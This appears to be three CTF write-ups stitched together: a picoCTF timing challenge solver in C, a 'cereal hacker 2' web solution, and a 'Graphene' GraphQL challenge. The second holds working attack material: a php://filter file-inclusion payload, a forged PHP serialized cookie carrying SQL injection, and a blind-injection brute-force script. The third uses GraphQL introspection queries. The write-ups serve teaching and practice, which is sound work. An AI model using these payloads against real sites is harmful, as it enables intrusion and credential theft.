(-1712739931))) + ((((-279846789) - (-1521590110)) | ((255665580) t (-1236705863))) - ((1878626940) r (361305662))))) root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so gdb -ex 'set disable-randomization on' -ex 'dprintf *0x555555554ea4, "Result: %lld\n", $rax' -ex 'r <<< "0\n"' -ex 'q' ./test 2>&1 | grep "Result" -A 1 Result: 373430904388490120 Challenge: (((((-1702607148) ^ (-70680992)) + ((-446151739) & (-629732860))) * (((1851976134) / (712844382)) + ((-1376285629) ^ (-1970105546)))) t ((((25694460) / (960535758)) % ((-2069553659) o (-38889948))) / (((2043401392) f (-1555367099)) o ((-900709696) x (-248816132))))) root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so gdb -ex 'set disable-randomization on' -ex 'dprintf *0x555555554ea4, "Result: %lld\n", $rax' -ex 'r <<< "0\n"' -ex 'q' ./test 2>&1 | grep "Result" -A 1 Result: -143688065 Challenge: (((((-1044282253) | (1371394754)) + ((1107954027) + (851034211))) + (((-929168316) x (1981424730)) * ((-64515369) t (967367402)))) | ((((-1340669973) + (-579974564)) % ((-49649651) + (-838622239))) f (((75578907) ^ (1899437617)) & ((171087065) f (828726573))))) ``` What we're doing here is call `GDB` with a set of instructions to execute. The important one is `dprintf *0x555555554ea4, "Result: %lld\n", $rax` which means: "When executing the command at `0x555555554ea4`, also print the value of `rax` as a formatted string". This output allows us to implement and test our new expression parser. Putting all the pieces together, we get: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <stdint.h> #include <stdbool.h> #include <assert.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/prctl.h> // ---------------------------------------------------------------------------------------------------------- //Based on https://stackoverflow.com/questions/9329406/evaluating-arithmetic-expressions-from-string-in-c const char* g_expr_to_parse = NULL; char peek() { while(*g_expr_to_parse == ' ') { g_expr_to_parse++; } return *g_expr_to_parse; } char get() { while(*g_expr_to_parse == ' ') { g_expr_to_parse++; } return *g_expr_to_parse++; } int64_t expression(); int64_t number() { int64_t zero = '0'; int64_t result = get() - zero; while (peek() >= '0' && peek() <= '9') { result = 10 * result + get() - '0'; } return result; } int64_t factor() { if (peek() >= '0' && peek() <= '9') return number(); else if (peek() == '(') { get(); // '(' int64_t result = expression(); get(); // ')' return result; } else if (peek() == '-') { get(); return -factor(); } perror("factoring error"); exit(EXIT_FAILURE); } bool is_operator(char c) { char operators[] = "+-*/%^|&fortx"; int i; for (i = 0; i < sizeof(operators) - 1; i++) { if (operators[i] == c) { return true; } } return false; } int64_t solve_expression(char operator, int64_t operand1, int64_t operand2) { switch (operator) { case '%': if (operand2 != 0) { operand1 = operand1 % operand2; } break; case '&': operand1 = operand1 & operand2; break; default: perror("Unknown operator"); exit(EXIT_FAILURE); case '*': operand1 = operand1 * operand2; break; case '+': operand1 = operand2 + operand1; break; case '-': operand1 = operand1 - operand2; break; case '/': if (operand2 != 0) { operand1 = operand1 / operand2; } break; case '^': operand1 = operand1 ^ operand2; break; case 'f': break; case 'o': operand1 = operand2; break; case 'r': operand1 = operand2; break; case 't': break; case 'x': operand1 = operand2; break; case '|': operand1 = operand1 | operand2; } return operand1; } int64_t expression() { char operator; int64_t result = factor(); int64_t op2; while (is_operator(peek())) { operator = get(); op2 = factor(); result = solve_expression(operator, result, op2); } return result; } int64_t parse_expression(const char* p_expr) { g_expr_to_parse = p_expr; return expression(); } // ---------------------------------------------------------------------------------------------------------- #define PIPE_READ 0 #define PIPE_WRITE 1 struct subprocess { pid_t pid; int stdin; int stdout; int stderr; }; void close_fd(int fd) { if (close(fd) == -1) { perror("Could not close pipe end" ); exit(EXIT_FAILURE); } } void mk_pipe(int fds[2]) { if (pipe(fds) == -1) { perror("Could not create pipe"); exit(EXIT_FAILURE); } } void mv_fd(int fd1, int fd2) { if (dup2(fd1, fd2) == -1) { perror("Could not duplicate pipe end"); exit(EXIT_FAILURE); } close_fd(fd1); } // Start program at argv[0] with arguments argv. // Set up new stdin, stdout and stderr. // Puts references to new process and pipes into `p`. // https://jameshfisher.com/2017/02/17/how-do-i-call-a-program-in-c-with-pipes/ void call(char* argv[], struct subprocess* p) { int child_in[2] = {-1, -1}; // Parent to child int child_out[2] = {-1, -1}; ; // Child to Parent int child_err[2] = {-1, -1}; ; // Child to Parent mk_pipe(child_in); mk_pipe(child_out); mk_pipe(child_err); pid_t child_pid = fork(); if (child_pid == -1) { perror("Could not fork"); exit(EXIT_FAILURE); } else if (child_pid == 0) { // // Child // // Close parent pipes close_fd(STDIN_FILENO); close_fd(STDOUT_FILENO); close_fd(STDERR_FILENO); // Close unused child pipe ends close_fd(child_in[PIPE_WRITE]); close_fd(child_out[PIPE_READ]); close_fd(child_err[PIPE_READ]); mv_fd(child_in[PIPE_READ], STDIN_FILENO); mv_fd(child_out[PIPE_WRITE], STDOUT_FILENO); mv_fd(child_err[PIPE_WRITE], STDERR_FILENO); // Kill child if parent dies prctl(PR_SET_PDEATHSIG, SIGTERM); char* envp[] = { NULL }; execve(argv[0], argv, envp); // Shouldn't get here perror("Child Error"); } else { // // Parent // // unused child pipe ends close_fd(child_in[PIPE_READ]); close_fd(child_out[PIPE_WRITE]); close_fd(child_err[PIPE_WRITE]); p->pid = child_pid; p->stdin = child_in[PIPE_WRITE]; // Parent wants to write to subprocess child_in p->stdout = child_out[PIPE_READ]; // Parent wants to read from subprocess child_out p->stderr = child_err[PIPE_READ]; // Parent wants to read from subprocess child_err } } // ---------------------------------------------------------------------------------------------------------- #define BUFFER_LENGTH 512 int main(int argc, char* argv[]) { struct subprocess proc; ssize_t nbytes; char* newline_location = NULL; size_t write_len; int status; int64_t result; int total_bytes_read = 0; sigset_t intmask; // We have three different buffers, allowing us to print the full details at the end char expr_buffer[BUFFER_LENGTH] = {0}; char res_buffer[BUFFER_LENGTH] = {0}; char buffer[BUFFER_LENGTH] = {0}; size_t skip_len = sizeof("Challenge: ") - 1; char* child_argv[] = {"./times-up-one-last-time", NULL}; // Block alarm signal if (sigemptyset(&intmask) == -1) { perror("Failed to initialize signal set"); exit(EXIT_FAILURE); } if (sigaddset(&intmask, SIGALRM) == -1) { perror("Failed to add signal to set"); exit(EXIT_FAILURE); } if (sigprocmask(SIG_BLOCK, &intmask, NULL) == -1) { perror("Failed to block signal set"); exit(EXIT_FAILURE); } printf("Alarm blocked!\n"); // Fork child process call(child_argv, &proc); // Read expression from child STDOUT nbytes = read(proc.stdout, expr_buffer, sizeof(expr_buffer) - 1); if (nbytes < 0) { perror("Could not read from child stdout"); exit(EXIT_FAILURE); } expr_buffer[nbytes] = '\0'; // Format expression so that parse_expression() will accept it newline_location = strchr(expr_buffer, '\n'); if (newline_location == NULL) { perror("Could not find newline"); exit(EXIT_FAILURE); } *newline_location = '\0'; // Evaluate expression result = parse_expression(&expr_buffer[skip_len]); write_len = snprintf(res_buffer, sizeof(res_buffer), "%ld\n", result); if ( (write_len < 0) || (write_len >= sizeof(res_buffer)) ) { perror("Could not sprintf result"); exit(EXIT_FAILURE); } // Write answer back to the child processes' STDIN nbytes = write(proc.stdin, res_buffer, write_len); if (nbytes != write_len) { perror("Could not write to stdin"); exit(EXIT_FAILURE); } // Read all output from child process STDOUT while ((nbytes = read(proc.stdout, buffer + total_bytes_read, sizeof(buffer) - total_bytes_read - 1)) > 0) { total_bytes_read += nbytes; } buffer[total_bytes_read] = '\0'; // Print details printf("Expression: %s\n", &expr_buffer[skip_len]); printf("Result: %s\n", res_buffer); printf("%s", buffer); // Cleanup and wait for child to exit close_fd(proc.stdin); close_fd(proc.stdout); close_fd(proc.stderr); waitpid(proc.pid, &status, 0); return EXIT_SUCCESS; } ``` Ouput: ```console root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# gcc main.c -o tuftlt root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# scp tuftlt dvdalt@2019shell1.picoctf.com:/home/dvdalt tuftlt 100% 17KB 5.8KB/s 00:03 root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# ssh dvdalt@2019shell1.picoctf.com dvdalt@pico-2019-shell1:~$ cd /problems/time-s-up--for-the-last-time-_1_a7830af9d51a361ee5d3b9eece69c22f dvdalt@pico-2019-shell1:/problems/time-s-up--for-the-last-time-_1_a7830af9d51a361ee5d3b9eece69c22f$ ~/tuftlt Alarm blocked! Expression: (((((1278126002) f (1043275798)) x ((-464689218) - (322949368))) - (((1447574425) & (-1224253887)) x ((-1216973929) o (116652416)))) % ((((1762630346) % (1604569453)) * ((-592128242) f (778774872))) r (((783785328) & (1511276257)) ^ ((-2081807565) - (-502728913))))) Result: -904291002 picoCTF{And now you can hack time! #2e0a37d1} Solution? Congrats! Here is the flag! ```
sec-knowleage
# cereal hacker 2 Web Exploitation, 500 points ## Description: > Get the admin's password. ## Solution: This is the follow-up for [cereal hacker 1](cereal_hacker_1.md). Again, we visit a similar website and receive the same login page: ```console root@kali:/media/sf_CTFs/pico/cereal_hacker_2# curl https://2019shell1.picoctf.com/problem/62195/ -L <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Sign In</h5> <form class="form-signin" action="index.php?file=login" method="post"> <div class="form-label-group"> <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus> <label for="user">Username</label> </div> <div class="form-label-group"> <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required> <label for="pass">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> </form> </div> </div> </div> </div> </div> </body> </html> ``` The SQL injection from last time doesn't work anymore... But path traversal does! ```console root@kali:/media/sf_CTFs/pico/cereal_hacker_2# curl https://2019shell1.picoctf.com/problem/62195/index.php?file=test <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head>Unable to locate test.php</html> root@kali:/media/sf_CTFs/pico/cereal_hacker_2# curl https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/read=convert.base64-encode/resource=admin <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head>PD9waHAKCnJlcXVpcmVfb25jZSgnY29va2llLnBocCcpOwoKaWYoaXNzZXQoJHBlcm0pICYmICRwZXJtLT5pc19hZG1pbigpKXsKPz4KCQoJPGJvZHk+CgkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJPGRpdiBjbGFzcz0icm93Ij4KCQkJCTxkaXYgY2xhc3M9ImNvbC1zbS05IGNvbC1tZC03IGNvbC1sZy01IG14LWF1dG8iPgoJCQkJCTxkaXYgY2xhc3M9ImNhcmQgY2FyZC1zaWduaW4gbXktNSI+CgkJCQkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CgkJCQkJCQk8aDUgY2xhc3M9ImNhcmQtdGl0bGUgdGV4dC1jZW50ZXIiPldlbGNvbWUgdG8gdGhlIGFkbWluIHBhZ2UhPC9oNT4KCQkJCQkJCTxoNSBzdHlsZT0iY29sb3I6Ymx1ZSIgY2xhc3M9InRleHQtY2VudGVyIj5GbGFnOiBGaW5kIHRoZSBhZG1pbidzIHBhc3N3b3JkITwvaDU+CgkJCQkJCTwvZGl2PgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoKCTwvYm9keT4KCjw/cGhwCn0KZWxzZXsKPz4KCQoJPGJvZHk+CgkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJPGRpdiBjbGFzcz0icm93Ij4KCQkJCTxkaXYgY2xhc3M9ImNvbC1zbS05IGNvbC1tZC03IGNvbC1sZy01IG14LWF1dG8iPgoJCQkJCTxkaXYgY2xhc3M9ImNhcmQgY2FyZC1zaWduaW4gbXktNSI+CgkJCQkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CgkJCQkJCQk8aDUgY2xhc3M9ImNhcmQtdGl0bGUgdGV4dC1jZW50ZXIiPllvdSBhcmUgbm90IGFkbWluITwvaDU+CgkJCQkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiPgoJCQkJCQkJCTxidXR0b24gY2xhc3M9ImJ0biBidG4tbGcgYnRuLXByaW1hcnkgYnRuLWJsb2NrIHRleHQtdXBwZXJjYXNlIiBuYW1lPSJmaWxlIiB2YWx1ZT0ibG9naW4iIHR5cGU9InN1Ym1pdCIgb25jbGljaz0iZG9jdW1lbnQuY29va2llPSd1c2VyX2luZm89OyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MTggR01UOyBkb21haW49OyBwYXRoPS87JyI+R28gYmFjayB0byBsb2dpbjwvYnV0dG9uPgoJCQkJCQkJPC9mb3JtPgoJCQkJCQk8L2Rpdj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCgk8L2JvZHk+Cgo8P3BocAp9Cj8+Cg==</html> ``` Using `php://filter/read=convert.base64-encode/resource` in order to base64-encode files, we are able to extract the website logic: #### admin.php ```php <?php require_once('cookie.php'); if(isset($perm) && $perm->is_admin()){ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Welcome to the admin page!</h5> <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5> </div> </div> </div> </div> </div> </body> <?php } else{ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">You are not admin!</h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> <?php } ?> ``` #### cookie.php ```php <?php require_once('../sql_connect.php'); // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $this->username, $this->password); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows !== 1){ $is_admin_val = 0; } else{ $is_admin_val = (int)$r[0][0]; } $sql_conn->close(); return $is_admin_val; } } /* legacy login */ class siteuser { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; $result = $sql_conn->query($q); if($result->num_rows != 1){ $is_user_val = 0; } else{ $is_user_val = 1; } $sql_conn->close(); return $is_user_val; } } if(isset($_COOKIE['user_info'])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info']))); } catch(Exception $except){ die('Deserialization error.'); } } ?> ``` ==== sql_connect.php ```php <?php $sql_server = 'localhost'; $sql_user = 'mysql'; $sql_pass = 'this1sAR@nd0mP@s5w0rD#%'; $sql_conn = new mysqli($sql_server, $sql_user, $sql_pass); $sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass); ?> ``` #### regular_user.php ```php <?php require_once('cookie.php'); if(isset($perm)){ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Welcome to the regular user page!</h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> <?php } else{ ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">You are not logged in!</h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> <?php } ?> ``` #### index.php ```php <?php if(isset($_GET['file'])){ $file = $_GET['file']; } else{ header('location: index.php?file=login'); die(); } if(realpath($file)){ die(); } else{ include('head.php'); if(!include($file.'.php')){ echo 'Unable to locate '.$file.'.php'; } include('foot.php'); } ?> ``` #### head.php ```php <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> ``` #### foot.php ```php </html> ``` We can see that the flag isn't hardcoded into the files themselves. We can also see why SQL injection isn't working anymore - the website moved to prepared statements which are considered much safer. However, there is one line that catches attention: ```php $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info']))); ``` The website is calling `unserialize` on unsanitized user input. That's a big no-no: > Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. ([Source](https://www.php.net/manual/en/function.unserialize.php)) We can probably reach code execution using this vulnerability, but in this case we have a much easier path. The author did not erase the old, vulnerable, permissions class: ```php /* legacy login */ class siteuser { // ... function is_admin(){ //... $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; //... } //... } ``` It matches the same "interface" used by the newer `permissions`, and is still vulnerable to SQL injection. Therefore, we can reuse it by sending: ``` O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:24:"aaa' or password like '%";} ``` Instead of unserializing a `permissions` object, the PHP engine will unserialize a `siteuser` object and our injection will return from the dead. Let's try it: ```console root@kali:/media/sf_CTFs/pico/cereal_hacker_2# curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29y ZCI7czoyNDoiYWFhJyBvciBwYXNzd29yZCBsaWtlICclIjt9" && echo <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Welcome to the admin page!</h5> <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5> </div> </div> </div> </div> </div> </body> </html> ``` We're in, but we didn't get the flag - the flag is the admin's password. We'll have to brute-force the password using a boolean-blind strategy: In order to get the first character of the password, we try the following set of queries: ``` ' or password like BINARY 'a% ' or password like BINARY 'b% ... ' or password like BINARY 'z% ' or password like BINARY '0% ... ' or password like BINARY '9% ... ``` Once we log in successfully, we know that the condition was met and that the first character of the password is the current character which allowed us to login. We then continue to the next character and so on. ```python import requests import string import base64 import time def send_req(password): time.sleep(0.2) payload = 'O:8:"siteuser":2:{{s:8:"username";s:5:"admin";s:8:"password";s:{}:"{}";}}'.format(len(password), password) cookies = dict(user_info=base64.b64encode(payload)) r = requests.get("http://2019shell1.picoctf.com:62195/index.php?file=admin", cookies=cookies) if "Welcome" in r.text: return True else: return False #alpha = set(string.printable) - set("'%_") # Pessimistic alpha = string.digits + string.ascii_letters + '{}' # Optimistic flag = "" while True: for c in alpha: if send_req("' or password like BINARY '" + flag + c + "%"): flag += c print flag break else: break ``` Eventually, we get the flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`.
sec-knowleage
# Graphene * Category: Web * 250 Points * Solved by the JCTF Team ## Description > Graphene is an easy to use CRM to manage leads. > > Some leads are VIP. Those are the most special ones. ## Solution We visit the attached website and get a simple login page. If we check the sources, we see the following Javascript logic: ```javascript $(document).ready(function(){ $("#signIn").on("click", function(){ var username = $('#username').val(); var password = $('#password').val(); var query = `mutation login {login(username:"${username}", password: "${password}") {user {username}ok}}`; // var query = {"username": username, "password": password}; $.ajax({ url: '/api', type: 'POST', data: JSON.stringify({"query": query}), contentType: 'application/json; charset=utf-8', dataType: 'json', async: false, success: function(data) { if(data['login'] == "failed"){ $("#wrong").toggle(); } } }); }); }); ``` The `query` variable looks like it holds a [GraphQL](https://en.wikipedia.org/wiki/GraphQL) statement: ```graphql mutation login {login(username:"${username}", password: "${password}") {user {username}ok}} ``` This looks like a simple `login` function (or `mutation`). Let's try to submit some random credentials: ```console root@kali:/media/sf_CTFs/appsec/Graphene# curl 'https://graphene.appsecil.ctf.today/api' -H 'Content-Type: application/json; charset=utf-8' --data-raw '{"query":"mutation login {login(username:\"user\", password: \"123456\") {user {username}ok}}"}' {"login":"failed"} ``` No surprise there. But - if we can submit GraphQL queries, we can try and leak information about the database. Let's try to leak the schema: ```console root@kali:/media/sf_CTFs/appsec/Graphene# curl 'https://graphene.appsecil.ctf.today/api' -H 'Content-Type: application/json; charset=utf-8' --data-raw '{"query":"{__schema {types { name } } }"}' {"login":"failed"} ``` No luck there. We'll get the same response if we try anything else. Time to go back to the drawing board. Let's take a closer look at what the server sends us back when we access the site: ```console root@kali:/media/sf_CTFs/appsec/Graphene# curl -I 'https://graphene.appsecil.ctf.today/' HTTP/1.1 200 OK server: gunicorn/20.0.4 date: Mon, 26 Oct 2020 19:55:29 GMT content-length: 2472 content-type: text/html; charset=utf-8 last-modified: Sat, 17 Oct 2020 10:20:28 GMT cache-control: public, max-age=43200 expires: Tue, 27 Oct 2020 07:55:29 GMT etag: "1602930028.0-2472-1402931165" set-cookie: debug=0; Path=/ ``` The server is setting a `debug` cookie! Let's try changing the value to `1`. ```console root@kali:/media/sf_CTFs/appsec/Graphene# curl --location --request POST 'https://graphene.appsecil.ctf.today/api' \ > --header 'Cookie: debug=1' \ > --header 'Content-Type: application/json' \ > --data-raw '{"query":"{\n __schema {\n types {\n name\n }\n }\n}","variables":{}}' -s | sed 's/&#34;/"/g' && echo <!DOCTYPE html> <html> <head> <title>Debug</title> </head> <body> <p>Query: { __schema { types { name } } }</p> <p>Response: {"__schema": {"types": [{"name": "Query"}, {"name": "User"}, {"name": "String"}, {"name": "Lead"}, {"name": "ID"}, {"name": "Boolean"}, {"name": "Int"}, {"name": "Mutations"}, {"name": "Login"}, {"name": "__Schema"}, {"name": "__Type"}, {"name": "__TypeKind"}, {"name": "__Field"}, {"name": "__InputValue"}, {"name": "__EnumValue"}, {"name": "__Directive"}, {"name": "__DirectiveLocation"}]}}</p> </body> </html> ``` This looks much better! We can leak schema information using the debug flag. We see that we have some special types such as `User` and `Lead`. Let's check them: ```graphql # Request: { __type(name: "User") { name fields { name type { name kind } } } } # Response: {"__type": {"name": "User", "fields": [{"name": "username", "type": {"name": "String", "kind": "SCALAR"}}]}} # --- # Request: { __type(name: "Lead") { name fields { name type { name kind } } } } # Response: {"__type": {"name": "Lead", "fields": [{"name": "id", "type": {"name": "ID", "kind": "SCALAR"}}, {"name": "firstName", "type": {"name": "String", "kind": "SCALAR"}}, {"name": "lastName", "type": {"name": "String", "kind": "SCALAR"}}, {"name": "email", "type": {"name": "String", "kind": "SCALAR"}}, {"name": "gender", "type": {"name": "String", "kind": "SCALAR"}}, {"name": "ipAddress", "type": {"name": "String", "kind": "SCALAR"}}, {"name": "isVip", "type": {"name": "Boolean", "kind": "SCALAR"}}]}} ``` We got their internal structure. Now, let's look for queries: ```graphql # Request: { __schema { queryType { fields { name description } } } } # Response: {"__schema": {"queryType": {"fields": [{"name": "user", "description": null}, {"name": "leads", "description": null}]}}} ``` Looks like we have two queries, `user` and `leads`. Let's try querying the leads: ```console root@kali:/media/sf_CTFs/appsec/Graphene# curl --location --request POST 'https://graphene.appsecil.ctf.today/api' \ > --header 'Cookie: debug=1' \ > --header 'Content-Type: application/json' \ > --data-raw '{"query":"{\n leads {\n id\n firstName\n lastName\n email\n gender\n ipAddress\n isVip\n }\n}","variables":{}}' -s | sed 's/&#34;/"/g' && echo <!DOCTYPE html> <html> <head> <title>Debug</title> </head> <body> <p>Query: { leads { id firstName lastName email gender ipAddress isVip } }</p> <p>Response: {"leads": null}</p> </body> </html> ``` Response is null. Is there anything wrong with our query? Using a larger query from [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection) ("Enumerate Database Schema via Introspection"), we can dump many more details from the schema. Here's what that query shows about the `leads`: ```graphql { "name":"leads", "description":null, "args":[ { "name":"limit", "description":null, "type":{ "kind":"SCALAR", "name":"Int", "ofType":null }, "defaultValue":null } ], "type":{ "kind":"LIST", "name":null, "ofType":{ "kind":"OBJECT", "name":"Lead", "ofType":null } }, "isDeprecated":false, "deprecationReason":null } ``` So we were missing the `limit` parameter. Let's try adding it: ```graphql # Request: { leads(limit:1000) { id firstName lastName email gender ipAddress isVip } } ``` We get 100 leads of the form: ```graphql { "id":"1", "firstName":"Zacharie", "lastName":"Austins", "email":"zaustins0@baidu.com", "gender":"Male", "ipAddress":"211.21.0.141", "isVip":false }, ``` The challenge description mentioned VIPs, let's check if who is a VIP: ```console root@kali:/media/sf_CTFs/appsec/Graphene# cat leads.txt | grep '"isVip":true' -A 1 -B 7 { "id":"62", "firstName":"Claiborne", "lastName":"Wrathall", "email":"AppSec-IL{c4R8ON-15-9r4phene}", "gender":"Male", "ipAddress":"135.39.36.56", "isVip":true }, ``` We got the flag.
sec-knowleage
